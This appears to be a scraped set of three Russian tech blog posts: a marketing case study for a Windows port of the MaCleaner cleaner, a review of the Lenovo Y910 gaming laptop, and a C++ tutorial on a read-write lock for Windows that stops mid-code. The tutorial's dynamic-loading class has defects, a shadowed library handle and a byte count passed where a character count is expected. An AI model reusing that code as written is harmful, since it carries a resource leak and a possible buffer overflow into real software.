MaCleaner — утилита для чистки Mac компьютеров, которая уже знакома нашим читателям. Продвижение этого продукта на рынке клинеров для Mac было сопряжено со многими сложностями — с самого начала мы знали, что не пионеры в отрасли, что придется обходить сильных конкурентов. Однако опыт, приобретенный в ходе разрешения этого кейса, стимулировал нас более серьезно подходить к стратегическому планированию, реально оценивать препятствия и риски. Итак, работа по анализу рынка дала результат: 3-я и 4-я версии MaCleaner привлекли в разы больше пользовательского интереса, чем ранние итерации. Но прибыль существует для того, что ее максимизировать, и, вдохновившись успехом последних месяцев, мы решили, что пора сделать следующий шаг. Так как пользователи Mac теперь охвачены настолько, насколько это возможно, настало время осваивать новые рынки. Какие же? Прежде всего на ум приходит, разумеется, Windows. Несмотря на то, что Mac устройства в последние годы набирают популярность, Windows по-прежнему занимает ведущие позиции среди операционных систем с огромным отрывом. Диаграмма говорит сам за себя: к настолько широкой аудитории грех хотя бы не попытаться пробиться. Чтобы добиться успеха на рынке Mac клинеров, мы использовали одну из популярнейших стратегий – стратегию дифференциации продукта, которая заключается фактически в выявлении и удовлетворении ожиданий недовольных существующими товарами и услугами покупателей за счет внешнего конкурентного преимущества с опорой на маркетинговое ноу-хау компании. О том, как это происходило поэтапно, говорилось в предыдущей статье о продукте, — в частности, и о том, что недостаточно тщательная проработка аналитической составляющей несколько подпортила нам дебют. Поэтому прежде, чем выбрать ту или иную стратегию продвижения, мы вплотную занялись изучением новой ниши. Ситуация на рынке Сначала немного о конъюнктуре рынка. Как обстоят дела с ПО на Windows в целом и клинерами в частности? Судя по проведенному нами анализу, весьма неутешительно для новых игроков. Начнем с того, что рынок клинеров для данной ОС в данный момент перенасыщен. Детальное рассмотрение функционала ведущих продуктов на рынке показало, что придерживаться стратегии дифференциации здесь сложнее: все, что лежит на поверхности, уже реализовано в большинстве успешных продуктов. Усугубляет ситуацию еще и специфика самой платформы — в Windows клинерам приходится обходить больше ограничений, чем на девайсах от Apple, что вынуждает разработчика сужать и подгонять функционал. Тем не менее, у нас заготовлено несколько идей, которые в будущем должны значительно усилить наш проект и вывести его на тот же уровень, что и Mac аналог. В частности: чистка кэша и логов; удаление истории браузеров; ликвидация системного мусора; чистка папки Загрузки; фильтровка больших файлов; поиск установочных файлов; деинсталляция расширений; чистка почтовых клиентов; удаление приватных данных; поиск дубликатов; мониторинг состояния системы. И, наконец, самая амбициозная из наших задумок — кроссплатформенная веб-версия, автоматически определяющая платформу и производящая чистку с минимальным участием пользователя и без необходимости устанавливать ПО. Но все это — в долгосрочных планах. А в данный момент мы находимся на первых стадиях внедрения своего концепта, приспосабливаемся к новой платформе и в первой версии можем предложить аудитории только достаточно стандартный набор функций. Таким образом, между тем функционалом, который мы планируем реализовать в недалеком будущем, и тем, что имеем сейчас, наблюдается явный разрыв. Возникает вопрос: как свести эти два продукта, готовый и гипотетический, воедино, продумывая позиционирование продукта? Ценовая политика и позиционирование Если ответить на этот вопрос кратко: в краткосрочной перспективе — никак. Обратимся к теории. В ситуации перенасыщенного рынка дифференцироваться по цене можно двумя взаимоисключающими способами: а) демпинговать; б) поднимать цену, опираясь на премиальность и качество продукта. Учитывая, что средний пользователь Windows тратит на программное обеспечение меньше, чем средний пользователь Mac, первый вариант, конечно, выглядит в чем-то соблазнительно. Позиционируя свой товар как бюджетное решение с компактным набором самого необходимого, мы могли бы избежать рисков и что-то заработать, а позже, по мере обогащения функционала, подготавливать почву для радикального ребрендинга. Вместе с тем, избрать такую стратегию было бы для нас и убыточно, и обидно: трудозатраты на данный проект на сегодняшний день таковы, что приложение просто не окупало бы себя, если бы мы отдавали его по цене ниже рыночной. Основательно все обдумав, мы решились, в конце концов, выбрать противоположную ценовую политику и тем самым причислить себя к премиальным продуктам. Разумеется, это подразумевало и соответствующее позиционирование — невнятная с точки зрения потребителя позиция могла бы порушить нашу маркетинговую стратегию. Но выходило немного неловко: ведь большую часть уникальных возможностей, которые придавали бы продукту налет премиальности, мы на сегодняшний день можем только пообещать пользователям авансом. Разумеется, мы намереваемся как можно быстрее довести продукт до той планки, которую выставляем, но как не оттолкнуть пользователей несоответствием с самого начала? К счастью, решение оказалось очевидным — на выручку чистильщику для Windows пришел его предшественник с Mac. Брендинг и название Чтобы аудитория поверила обещаниям, они должны исходить от того, кто уже зарекомендовал себя как успешного игрока. Иными словами, нам необходимо было максимально использовать наработанную репутацию бренда. А значит, продукт на Windows должен вызывать прямые ассоциации с его аналогом на Mac — тем более что функционал у них в теории будет практически одинаковый. Ну а самый простой и прямолинейный способ установить связь между двумя проектами — это, конечно же, совпадающие названия. При выпуске продукта на MacStore мы использовали название MaCleaner, как сокращение для более тяжеловесного Machine Advanced Cleaner. Для этого рынка подобная отсылка к девайсу была как нельзя более уместна, пусть и пришлось немного подискутировать с модераторами, доказывая, что правил она не нарушает. Для версии на Windows мы, конечно, мы могли бы вернуться к изначальному Machine Advanced Cleaner — это устранило бы путаницу с платформой, но при этом в разы снизило узнаваемость бренда. В конечном счете, взвесив все «за» и «против», мы решились сохранить название неизменным. Потребность в кредите пользовательского доверия на первых порах выводит позитивные ассоциации на первый план, оставляя прочие критерии эффективного выбора названия далеко позади. Подводя итог, мы должны признать, что данный кейс — первый случай, когда нам пришлось подобным образом выстраивать брендовую политику. Если рассматривать положение дел на сегодняшний день в отрыве от перспектив, нам следовало бы довольствоваться стратегией последователя (или late arrivals strategy). Однако это до такой степени входило в противоречие с задуманным графиком обновлений и перспективами роста, что мы пошли другим путем. Теперь продукту предстоит экстренно дорастать до того уровня, который задают ему название и цена, но это хороший стимул. Остается только надеяться, что выбранная стратегия себя оправдает, а MaCleaner для Windows в наступающем году пополнит список продуктов, которые обеспечивают нашей компании хорошую репутацию.
https://habrahabr.ru/company/everydaytools/blog/317934/
habrahabr
Многоядерный чемоданчик: переносная рабочая станция
['Lenovo', 'Y910', 'игрульки']
Игровой ноутбук достаточно долгое время был забавным словосочетанием, умевшим доставлять боль пользователю: мощный и резвый при покупке девайс спустя год превращался в чихающего пылью старпёра,...
Игровой ноутбук достаточно долгое время был забавным словосочетанием, умевшим доставлять боль пользователю: мощный и резвый при покупке девайс спустя год превращался в чихающего пылью старпёра, который уже не мог себе позволить высоких настроек, сильно терял в цене и особо не был готов к апгрейду. А мобильные видеокарточки со всевозможными извращениями в виде больших объёмов памяти, разведённых на очень узкой шине или порезанных блоков растеризации, которые убивают потенциал железа, вовсе были нормой. К счастью, в 2016-м году NVIDIA и Intel готовы предложить любителям мобильности достойное железо, которое не подведёт их через год или два, дело за малым: собрать ноутбук так, чтобы эти два года казались вам сказкой. Lenovo Y910 пережил смену поколений: прошлая версия была хороша во всём, имела флагманскую видеокарточку, но это была 980М, которая сегодня ещё «жжёт», но при вышедших «Паскалях» от NVIDIA уже не торт. В новой версии исправили это досадное недоразумение, исправили пару незначительных мелочей в оформлении и теперь у Y910 всё в порядке и с железом, и с внутренним убранством, и с экстерьером и комфортом: один из лучших игробуков года. Хотите доказательств? Легко. Дон Графон Что изменилось в этом году, и почему видеокарта перестала быть «минусом» ноутбука? Взгляните на эту картинку: Собственно, это главное отличие: теперь мобильные чипы отличаются от десктопных частотами и типом подключения к памяти. За это говорим спасибо новому техпроцессу, который позволил существенно снизить энергопотребление и тепловыделение — теперь отличие лишь в рабочих частотах, напрямую влияющих на горячий нрав видеокарт. По сути, лишь ограничения по охлаждению и являются барьером для дальнейшего уравнивания настольных и мобильных систем. Вторым существенным изменением стал рост эффективности самой архитектуры: Maxwell на момент выхода был хорош, но NVIDIA ухитрилась развести бардак в линейках и архитектурах, смешав в рамках одних цифровых индексов разные поколения GPU. С приходом Pascal’ей (NVIDIA 10-series) беспорядок закончился, выделенные мобильные чипы не нужны, а новые фишки радуют пользователей. Например, полноценный автоматический разгон в рамках температурных ограничений, установленных на заводе. Причём включается «ускорялка» не абы когда, а в самых сложных сценах, когда частота кадров проседает, и дополнительные напряжение и частоты тем выше, чем серьёзнее нагрузка. В ноутбуке установлена видеокарта, которая по праву считается «королевой 1080p-разрешения»: GTX 1070 с полными 8 ГБ оперативной памяти. Да, можно было бы поставить и GTX 1080, но в плохо оптимизированных играх разница на таком разрешении была бы несущественна, а вот цена выросла бы заметно. В тех случаях, когда какие-нибудь поляки не забили на оптимизацию всё и так шикарно. Теперь жаловаться на GPU причин нет, идём дальше. Горячее сердце Флагманские «мобильные» процессоры Intel легко догоняют своих «больших братьев» из настольных компьютеров: здесь те же 4 ядра, 8 потоков, внушительные частоты (у самого популярного для флагманских игробуков i7-6820HK — 3.6 ГГц, у топовых моделей — 3.7 или 3.8 ГГц в зависимости от встроенной графики), 8 Мбайт кеш-памяти и полноценные 16 линий PCI-Express 3.0 для подключения видеокарты или даже двух. Эти демоны выдерживают температуры до 100 градусов по цельсию при достаточно скромом теплопакете в 45 Ватт — килограммовые медные радиаторы так и остались (наверное, к счастью) уделом десктопов, так что суровые условия работы накладывают соответствующий отпечаток. Бесконечная память Флагманский процессор действительно по всем фронтам не отстаёт от настольных: 2 канала памяти по 2 слота каждый, до 16 ГБайт на модуль — и вот перед вами 64 гига оперативки. В ноутбуке, Карл! Да такими объёмами может похвастаться не каждый сервер! Добавьте сюда два, нет, ДВА разъёма NVME для сверхбыстрых SSD-дисков (можно поставить 2х512 Гб и радоваться жизни), и классический SATA-накопитель в лице 1 ТБ HDD, который вы тоже можете поменять на какой-нибудь SSD-диск объёмом в пару терабайт. На внешний привод места не хватило (да и кому он сегодня нужен), но на всякий случай Lenovo заботливо кладёт в комплект внешний привод. Так что если вы давно хотели выносной DVD-резак — берёте Lenovo Y910 и получаете ноутбук в подарок ) Дисковая подсистема действительно хороша, но то, что ставится в ноутбук «из коробки» — ещё лучше. SSD Samsung 950 PRO M.2 — накопитель серверного класса, в котором исключён главный «костыль», мешавший развитию SSD-дисков: набор команд SATA / SAS, создававшихся во времена вращающихся блинов и магнитных головок. Для своего времени и области применения протоколы были хороши, но SSD требует другого подхода к формированию задач. Низкие задержки, практически нулевые расходы на поиск нужных данных и демонические скорости чтения и записи требуют от компьютера глубокой очерёдности задач. Старые интерфейсы обеспечить её не могли, и современные диски намного лучше работают при прямом подключении к шине PCI-Express. 512 ГБ версия диска обеспечивает последовательную скорость чтения до 2.5 Гбайт/с и записи до 1.5 Гбайт/с. Для достижения таких скоростей диску требуется высокопроизводительный контроллер (и он там есть, фирменный Samsung UBX, умеющий работать с NVMe и выжимать из памяти все соки), и его тепловыделением нельзя пренебрегать. При максимально сложной нагрузке на запись Samsung UBX выделяет до 6 Вт тепла, что в условиях ноутбучной упаковки может доставить проблем, подкинув в печь системы лишних джоулей, а здесь таких дисков два. В итоге некоторые ноутбуки показывают приличную производительность дисковой подсистемы только «на холодную». В Lenovo Y910 эта проблема решена ещё на стадии проектировки, и в системе охлаждения заложен запас, а потоки воздуха проходят в том числе и через зону установки SSD-накопителей. Результат говорит сам за себя — никакого троттлинга и лёгкое достижение паспортных значений по скоростям. Круче этого накопителя только узкоспециализированные серверные SSD-диски стоимостью в несколько таких ноутбуков. Холодный нрав Подобная начинка в ноутбуке у кого угодно выбьет скупую слезу (а кто-то и в три ручья рыдать будет), но использовать слёзы владельца для охлаждения — это как-то перебор. Тем более что теоретический максимум, с которым надо справиться — чуть больше 150 Вт тепла. Lenovo Y910 использует последовательное охлаждение компонентов, засасывая воздух спереди, снизу и по бокам и протягивая его поочерёдно от самых холодных частей к самым горячим. Последними радиаторами, само собой, становятся выходы систем охлаждения ЦП и видеокарты, после чего раскалённый воздух моментально выбрасывается назад и вверх, за дисплей. В результате зона трекпада и клавиатуры остаётся чуть тёплой: хоть час играй, хоть три, хоть восемь. Главное — не пускать кота лежать перед «выхлопом», а то у животинки может случиться стрижка-вспышка. И, да, любителям пультов в пакетиках и заводских плёнок на девайсах придётся пролить крокодиловы слёзы. Снять все плёнки перед эксплуатацией необходимо , иначе система охлаждения задохнётся и внутри может что-нибудь сломаться. А такой случай вряд ли покрывает гарантия. Форма, соответствующая содержанию Начинка, бесспорно, флагманская. Консолям такая даже не снилась, равно как и многим десктопам тоже. Настало время разобраться с обвязкой — периферией и набором интерфейсов. В конце концов, это же ноутбук, а не демо-стенд. Дисплей В ноутбуке стоит лучшее, что можно было найти и поставить для игровой машинки. 17-дюймовая FullHD IPS-матрица с матовым покрытием, частотой обновления 75 Гц и поддержкой быстрой синхронизации G-Sync. Для игроков это означает одно: игры не будут упираться в вертикальную синхронизацию, если дойдут до стандартных в ПК-индустрии 60 кадров в секунду, а во всех остальных случаях не будет ни разрывов, ни «резинового» замедления и ускорения игрового процесса со включённой синхронизацей. 4k или 2560х1440 на такой диагонали просто стали бы лишней нагрузкой на видеокарту, увеличили цену, время отклика, потребовали бы установки другой системы подсветки и уже не радовали бы вышеозначенными плюшками. Главное-то не сферическое разрешение в вакууме, а его соотношение с диагональю, расстоянием до дисплея и тем, как настроена матрица, и здесь все эти параметры пребывают в гармонии. Ожидать от игрового дисплея 100% покрытия sRGB и идеальной цветовой точности как-то глупо, тем более в ноутбуке, но в случае с Y910 расстраиваться не придётся — картинка отличная. Производитель не стал выкручивать контрастность и настраивать цвета на едко-AMOLED’ный лад. Гамма-кривая на всём диапазоне (кроме крайних 10% слева и справа) очень близка к эталону. Точка белого смещена к «тёплым» оттенкам ради снижения нагрузки на зрение и общего улучшения восприятия картинки, но главное, что цветовая температура равномерна и не «плавает» в зависимости от яркости. Собственно, для базовой работы с фотографиями, видео и документами ничего и не надо, а профессионал всегда может подключить свой 4k-дисплей через внешний DisplayPort или HDMI-разъём. Клавиатура и трекпад Во времена, когда слово «трекпад» (или тачпад) ещё резали слух, в моде были всякие квейки — большинство людей играли в него мышкой, но была небольшая каста людей, которые играли (и целились) исключительно с клавиатуры — лично мы их называли «трактористами». Сейчас же вряд ли найдётся извращенец, который будет на полном серьёзе играть в шутеры или какую-нибудь «доту» только на клавиатуре и уж тем более на трекпаде: ну, прикола ради разок можно, да какую-нибудь пошаговую стратегию тоже можно потыкать, но в остальном старая-добрая мышь лучше. К некоторым Y910 такая идёт в комплекте, в нашем случае её не было. Впрочем, мыши и предпочтения пользователей (тем более игроков) сильно отличаются, так что тем лучше: выбрать можно что-нибудь привычное, приятное и удобно. В остальных случаях у Y910 стоит очень чувствительная и довольно большая панель с «шелковистым» ощущением от прикосновения. Пользоваться трекпадом приятно: он понимает привычные жесты, точен и вообще источает нежный яблочный аромат. Но главную роль, безусловно, уделили клавиатуре. В ноутбук запихали полноценную «механику». Ну, как полноценную. Сантиметрового хода клавиш тут нет, как и привычных свичей Cherry MX, а вот то непередаваемое, идеальное ощущение нажатия, лёгкий щелчок, который вы слышите и ощущаете, то чувство работы с чем-то сложным и удивительно приятно работающим — оно тут, на месте. В раскладке клавиатуры минимум извращений. Слева расположен один дополнительный столбец клавиш: макро-кнопки и переключатель турбо-режима. К такому смещению на один символ привыкаешь за пару дней; NUM-блок, совмещённый с основными FN-триггерами чуть уехал вверх относительно базового ряда кнопок. Не страшно; Под NUM’ом расположены полноразмерные стрелки, выделенные в отдельное пространство. Никто не стал запихивать их в единый блок с буквами и цифрами, так что пользоваться приятно. В сумме мы имеем разумный набор компромиссов, который делает работу с клавиатурой удобной. И это при полноразмерных клавишах, «островной» архитектуре и механических переключателях! Именно такого прогресса хотелось в мобильных клавиатурах, а не этих слащавых «ещё тоньше, теперь нажатия почти не чувствуются, и стрелки мы сделаем убогие». Прям печатаешь и душа радуется! Разумеется, в 2016 году никак нельзя без подсветки. Да ещё и непременно RGB чтоб была, настраивалась и переливалась. Тренд сохранился с 2015 года, ничего не попишешь. Не нравятся подобные излишества? Белый, янтарный или зелёный цвет к вашим услугам: и на глаза нагрузки меньше, и никакого китча. Производительность У железа дури до дури, вопрос, может ли эту дурь обуздать софт? Чтобы тестирование было более-менее объективным и охватывало максимум актуальных технологий, оценивать производительность будем в следующих играх и приложениях: Общий индекс производительности составим в 3D Mark 2016 Time Spy. За DirectX «старой формации» (DX 10/10.1/11) будет отвечать GTA V. Она отлично оптимизирована, до сих пор выглядит достойно и умеет нагружать железо по полной. В DX 12 отдуваться будет Battlefield 1 — он молод, красив, неплохо оптимизирован и один из немногих по-настоящему может извлечь выгоду из новых плюшек, доступных владельцам видеокарт на архитектуре Pascal. OpenGL и Vulkan будут на совести последнего DooM. Тут и сравнить можно по честному, и посмотреть, что и как в игре на таком железе. За игрушки с плохой оптимизацией будет отдуваться «Ведьмак 3»: на ультра-настройках в FullHD вам не хватит даже 1080, на средне-высоких настройках (делающих графику сравнимой с PS4-версией) особо дорогого железа не требуется, а вот топовые не вывозит почти никакой конфиг. Старый движок, все дела. Ну и в качестве потенциального гостя из будущего будет VR-тест платформы Steam. Все игрушки запускаются на максимальных настройках, проприетарные технологии улучшения графики (типа технологии отрисовки волос у NVIDIA) выключены. ▍3D Mark Результат получен без разгона и дополнительных «ускорялок», ноутбук просто перезагружен, запущен тест. Полученные числа вполне ожидаемы, пошаманив с частотами видеокарты и включив Boost для процессора, можно было бы поднять рейтинг на 500-700 баллов. В тест напиханы, наверное, все актуальные технологии по работе с графикой. Все передовые шейдеры, способы построения отражений и бликов, искажений текстур и прочих штуковин, которые должны в ближайшем будущем поднять качество картинки в играх на запредельный уровень. А дальше графон достигнет критической массы и мир игр коллапсирует в VR. Главное не забывать, что одних технологий мало, и без годного геймплея и продуктивной работы художников и гейм-дизайнеров игра всё равно будет выглядеть, как майнкрафт, сколько в неё полигонов не вкачай. ▍GTA V Один из главных долгостроев этого десятилетия до сих пор получает обновления для он-лайн части, новый контент и улучшения в области оптимизации. И, что приятно, бесплатно! Серию GTA можно сколько угодно любить или ненавидеть, но в одном ей не откажешь: проработанность мира, геймплея, сюжета и оптимизация всегда были на высоте. И эти восхитительные глюки… Уверенные 80 кадров в секунду при минимальных 68. Достойный результат, десктопная 1070 показывала лишь немногим больше: 82 и 70 соответственно. А пейзажи прекрасны. ▍Battlefield 1 Осторожно, падающие дирижабли и Чёрная Бесс могут вызвать приступы «Ну я ещё 5 минуточек». Захватывающее действо на дисплее в честных 60+ FPS. Сила Pascal’я во всей красе. ▍DOOM OpenGL долгое время был изгоем в мире ПК-гейминга. В своё время он уступил дерзкому новичку в лице DX, долго пытался «сделать правильно» то, что в DX сделали «лишь бы работало» (и оно работало!) и в результате стал тем, что сейчас есть. Теоретически универсальной и общей технологией, которая не может обеспечить консистентность и одинаковую производительность на разных ОС. Vulkan родился из низкоуровневого AMD Mantle. От своего языка шейдеров отказались в пользу DX-совместимого, упростив жизнь разработчикам, ощутимо снизили процессорозависимость и дали возможность работать максимально близко к железному уровню, сохраняя при этом разумный уровень абстракции. Результаты говорят сами за себя. ▍Witcher 3: Blood and Wine Сколько «Плотву» не корми, а у Геральта полигонов больше. Книжки Анджея Сапковского на постсоветском пространстве давно стали чем-то вроде «Властелина колец». Было бы странно, если бы права на разработку отдали кому-нибудь налево, за океан. Можно сказать, что «Ведьмак» — это один из экспортных символов Польши. К сожалению, хоть картинка и хороша, но движок давно пора отправлять на рефакторинг и переработку. Потому что использовать ресурсы одного из мощнейних видеоадаптеров спустя два года после релиза и выдавать на FullHD меньше 60 стабильных кадров в секунду попросту стыдно. Спасает обстановку включенный режим быстрой синхронизации G-SYNC: скачки кадровой частоты не вызывают эффект неоднородного по плотности желе, сквозь которое продирается сюжет и геймплей. В принципе, игра-то не про графон, а про трудный выбор и последствия принятых решений, так что настройки можно смело снижать до «высоких» и далее ни в чём себе не отказывать. ▍SteamVR Test Про VR мы слышим уже два года, а воз и ныне там. Только-только стали появляться приемлемые пользовательские гарнитуры и какие-никакие игрушки. NVIDIA вовремя подтянула возможности видеокарт: Pascal’и имеют специальный блок, позволяющий один раз считать геометрию и практически бесплатно «делить» её на два глаза. В результате мы получаем существенный прирост производительности в VR-тестах и приложениях даже на среднем сегменте, который становится сравним с флагманами прошлого поколения. Если прошлогодняя GTX 980M и десктопные GTX 970 едва-едва преодолевали «жёлтый рубеж», то здесь тестовая среда «положила» стрелку в зелёную зону с большим запасом. Можете разбивать вторую тайную копилку — первая уйдёт на ноутбук, а вторая на HTC Vive. Бескомпромиссный У нас было 4 ядра, 64 гигабайта оперативки, GTX 1070, механическая клавиатура и целое множество портов всех сортов и расцветок, а также лучший терабайтный SSD, отличная система охлаждения, приятное оформление, аппаратная кнопка разгона и матовый 17-дюймовый дисплей с G-SYNC. Не то что бы это был необходимый запас для игрушек. Но если начал закупаться на распродаже в Steam’е, становится трудно остановиться. Единственное что вызывало у меня опасение — это разгон. Нет ничего более беспомощного, безответственного и испорченного, чем мамкины оверклокеры. Я знал, что рано или поздно мы перейдем и на эту дрянь. Турбо-кнопка работает только при питании от сети и позволяет системе выжимать ВСЕ СОКИ из железа. Ну прям совсем все. Видеокарта в самые трудные минуты догоняет настольную по частотам и производительности, а процессор всеми четырьмя ядрами перешагивает психологический барьер в 4 ГГц. На всякий случай, вдруг вы забыли: речь всё ещё про ноутбук. Для обеспечения повышенных энергоаппетитов железа в экстремальном режиме работы БП готов обеспечить до 230 Ватт и 1 дополнительный вольт к 19 классическим, часто используемым в питании ноутбуков ) Особенность последнего поколения графики от NVIDIA — гибкая система автоматического повышения рабочих частот и напряжения при необходимости. Единственным ограничением этой системы является тепловой пакет: пока компьютер или ноутбук способен отводить тепло и поддерживать видеоядро в комфортных температурных условиях — частоты будут легко превышать «паспортные». В контексте ноутбука особенно вкусным бонусом будет заточка этой системы для увеличения минимальных FPS, а не максимальных. Система авторазгона не будет кочегарить видеокарту лишний раз, если та выдаёт приемлемый фреймрейт, а вот в тяжёлых сценах видеоядро может переступить рубеж в 2 ГГц, а кратковременно — и 2.1 ГГц (и это при штатных 1.5 с небольшим). Для особо жарких условий ПО ноутбука предусматривает принудительное включение максимальной мощности вентиляторов системы охлаждения. Софтовые плюшки Помимо стандартных подсветок клавиатур и прочих настроек, которые давно стали банальщиной, у Lenovo Y910 есть одна штука, которая реально помогает пользователям высокопроизводительных ноутбуков. Во-первых, ноутбук умеет выжимать все соки из интернет-подключения, дублируя Wi-Fi и Ethernet. Фоновым задачам достанется подключение попроще, требовательным к задержкам — более быстрое. Во-вторых, вы вручную можете назначить приоритет отдельным приложениям в разделе Killer Wlan . При их запуске всякие торренты и вкладки с порно мультиками будут получать то, что останется от коннекта. Такая фишка прокатит и с игрушками, и с мессенджерами: если ваш недобросовестный провайдер выдаёт так себе подключение, а пропускать важные сообщения не хочется, особенно при закачке чего-нибудь не очень критичного — самое то. В сумме Можно сколько угодно обсуждать дизайн и описывать порты периферии, петь хвалебные оды системе охлаждения и орать «10 из 10, Господи, 10 из 10!», наблюдая очередной шедевр игростроя на одном из лучших игровых дисплеев, что встраивали в ноутбуки. Сути дела это не изменит: Y910 содержит «излишества» и потенциал под апгрейд почти везде, где это возможно, а по процессору и видеокарте ставка сделана на пред-флагманские решения, которые существенно дешевле своих титулованных эпитетами «самый» собратьев и незначительно уступающие в реальных задачах. Y910 — не компромисс, а по-настоящему игровой ноутбук, который может и в работе с серьёзными нагрузками показать класс, и дать жару в развлечениях. Сбалансированное по всем фронтам решение. ▍Плюсы: ⬝ Дисплей — то что надо для игр. FullHD не даёт лишней нагрузки, 75 Гц и G-SYNC избавят вас от остальных проблем. ⬝ Сбалансированная начинка. Связка процессора и видеокарты будет актуальна ещё пару-тройку лет игры на «высоких» настройках. ⬝ VR-ready. 1070 с лёгкостью переварит VR-настоящее и ближайшее будущее. ⬝ Пространство для апгрейда или запас на будущее. Текущий топовый конфиг просто запредельно крут. Мало какой десктоп готов похвастаться такими объёмами и скоростями. Вместе с тем не обязательно брать 64 ГБ версию: лишние разъёмы у вас никто не отберёт. Как и возможность установить 2-2.5 ТБ SSD-дисков. ⬝ Из коробки почти нет «мусорного» софта. Нужный (по управлению железячными функциями ноутбука) к нему не относим. ⬝ К VR готов! Lenovo Y910 сертифицирован по программе Oculus Ready, а мощности GTX1070 хватит на все текущие и ближайшие VR-развлечения. ▍Минусы: ⬝ 17 дюймов есть 17 дюймов. Соответствующие размер и вес — плата за производительность и комфортную работу в играх. ⬝ Родной софт немного… азиатский. Ну да ничего, он всё равно в 100 раз симпатичнее и в 200 раз удобнее чем то, что до сих пор производят вендоры звуковых плат, SSD-дисков и видеокарт. Просто надо немного посидеть, внимательно вникая в матчасть.
https://geektimes.ru/company/lenovo/blog/283814/
habrahabr
Портабельный RWLock для Windows
['RWLock', 'Multithreading', 'Slim RWLock on Windows XP', 'C++']
RWLock — это такой примитив синхронизации, позволяющий одновременное чтение и эксклюзивную запись. Т.е. чтение блокирует запись, но не блокирует чтение других тредов, а запись блокирует все. Так...
RWLock — это такой примитив синхронизации, позволяющий одновременное чтение и эксклюзивную запись. Т.е. чтение блокирует запись, но не блокирует чтение других тредов, а запись блокирует все. Так вот, этот весьма полезный примитив имеется в posix threads и в Windows от Vista и далее. Для Windows XP/2003 приходится изготавливать его из двух критических секций и события (UPD вообще-то есть вариант лучше, см UPD в конце статьи). Покажем как это выглядит (код любезно предоставлен StackOverflow и слегка переведен с C на C++): class RWLockXP // Implementation for Windows XP { public: RWLockXP() : countsLock(), writerLock(), noReaders(), readerCount(0), waitingWriter(FALSE) { InitializeCriticalSection(&writerLock); InitializeCriticalSection(&countsLock); /* * Could use a semaphore as well. There can only be one waiter ever, * so I'm showing an auto-reset event here. */ noReaders = CreateEvent (NULL, FALSE, FALSE, NULL); } ~RWLockXP() { DeleteCriticalSection(&writerLock); DeleteCriticalSection(&countsLock); CloseHandle(noReaders); } void readLock() { /** * We need to lock the writerLock too, otherwise a writer could * do the whole of rwlock_wrlock after the readerCount changed * from 0 to 1, but before the event was reset. */ EnterCriticalSection(&writerLock); EnterCriticalSection(&countsLock); ++readerCount; LeaveCriticalSection(&countsLock); LeaveCriticalSection(&writerLock); } void readUnLock() { EnterCriticalSection(&countsLock); assert (readerCount > 0); if (--readerCount == 0) { if (waitingWriter) { /* * Clear waitingWriter here to avoid taking countsLock * again in wrlock. */ waitingWriter = FALSE; SetEvent(noReaders); } } LeaveCriticalSection(&countsLock); } void writeLock() { EnterCriticalSection(&writerLock); /* * readerCount cannot become non-zero within the writerLock CS, * but it can become zero... */ if (readerCount > 0) { EnterCriticalSection(&countsLock); /* ... so test it again. */ if (readerCount > 0) { waitingWriter = TRUE; LeaveCriticalSection(&countsLock); WaitForSingleObject(noReaders, INFINITE); } else { /* How lucky, no need to wait. */ LeaveCriticalSection(&countsLock); } } /* writerLock remains locked. */ } void writeUnLock() { LeaveCriticalSection(&writerLock); } private: CRITICAL_SECTION countsLock; CRITICAL_SECTION writerLock; HANDLE noReaders; int readerCount; BOOL waitingWriter; }; А вот как эта же красота могла бы выглядеть при использовании только Vista+ систем: class RWLockSRW // For Windows Vista+ based on Slim RWLock { public: RWLockSRW() : srwLock() { InitializeSRWLock(&srwLock); } ~RWLockSRW() { } void readLock() { AcquireSRWLockShared(&srwLock); } void readUnLock() { ReleaseSRWLockShared(&srwLock); } void writeLock() { AcquireSRWLockExclusive(&srwLock); } void writeUnLock() { ReleaseSRWLockExclusive(&srwLock); } private: RTL_SRWLOCK srwLock; }; Мало того, что выглядит до безобразия просто, еще и работает на порядок быстрее. Но, есть одно но, как всегда… При попытке запустить приложение содержащее этот код (конечно мы умные ребята, сделали определение версии и для XP хотим использовать первый вариант, а для новых систем — второй), получим сообщение типа: «ой, а вот функции InitializeSRWLock что-то не нашлось в kernel32» после чего наше приложение любезно будет прибито. Выход — грузить функции Slim RWLock динамически при помощи LoadLibrary, указателей на функции и этого всего: typedef void(__stdcall *SRWLock_fptr)(PSRWLOCK); class RWLockSRW // For Windows Vista+ based on Slim RWLock { public: RWLockSRW() : hGetProcIDDLL(NULL), AcquireSRWLockShared_func(NULL), ReleaseSRWLockShared_func(NULL), AcquireSRWLockExclusive_func(NULL), ReleaseSRWLockExclusive_func(NULL), srwLock() { wchar_t path[MAX_PATH] = { 0 }; GetSystemDirectory(path, sizeof(path)); std::wstring dllPath = std::wstring(path) + L"\\kernel32.dll"; HINSTANCE hGetProcIDDLL = LoadLibrary(dllPath.c_str()); if (!hGetProcIDDLL) { throw std::exception("SRWLock Error loading kernel32.dll"); } AcquireSRWLockShared_func = (SRWLock_fptr)GetProcAddress(hGetProcIDDLL, "AcquireSRWLockShared"); if (!AcquireSRWLockShared_func) { throw std::exception("SRWLock Error loading AcquireSRWLockShared"); } ReleaseSRWLockShared_func = (SRWLock_fptr)GetProcAddress(hGetProcIDDLL, "ReleaseSRWLockShared"); if (!ReleaseSRWLockShared_func) { throw std::exception("SRWLock Error loading ReleaseSRWLockShared"); } AcquireSRWLockExclusive_func = (SRWLock_fptr)GetProcAddress(hGetProcIDDLL, "AcquireSRWLockExclusive"); if (!AcquireSRWLockExclusive_func) { throw std::exception("SRWLock Error loading AcquireSRWLockExclusive"); } ReleaseSRWLockExclusive_func = (SRWLock_fptr)GetProcAddress(hGetProcIDDLL, "ReleaseSRWLockExclusive"); if (!ReleaseSRWLockExclusive_func) { throw std::exception("SRWLock Error loading ReleaseSRWLockExclusive"); } SRWLock_fptr InitializeSRWLock_func = (SRWLock_fptr)GetProcAddress(hGetProcIDDLL, "InitializeSRWLock"); if (!InitializeSRWLock_func) { throw std::exception("SRWLock Error loading InitializeSRWLock"); } InitializeSRWLock_func(&srwLock); } ~RWLockSRW() { if (hGetProcIDDLL) { FreeLibrary(hGetProcIDDLL); } } void readLock() { if (AcquireSRWLockShared_func) { AcquireSRWLockShared_func(&srwLock); } } void readUnLock() { if (ReleaseSRWLockShared_func) { ReleaseSRWLockShared_func(&srwLock); } } void writeLock() { if (AcquireSRWLockExclusive_func) { AcquireSRWLockExclusive_func(&srwLock); } } void writeUnLock() { if (ReleaseSRWLockExclusive_func) { ReleaseSRWLockExclusive_func(&srwLock); } } private: HINSTANCE 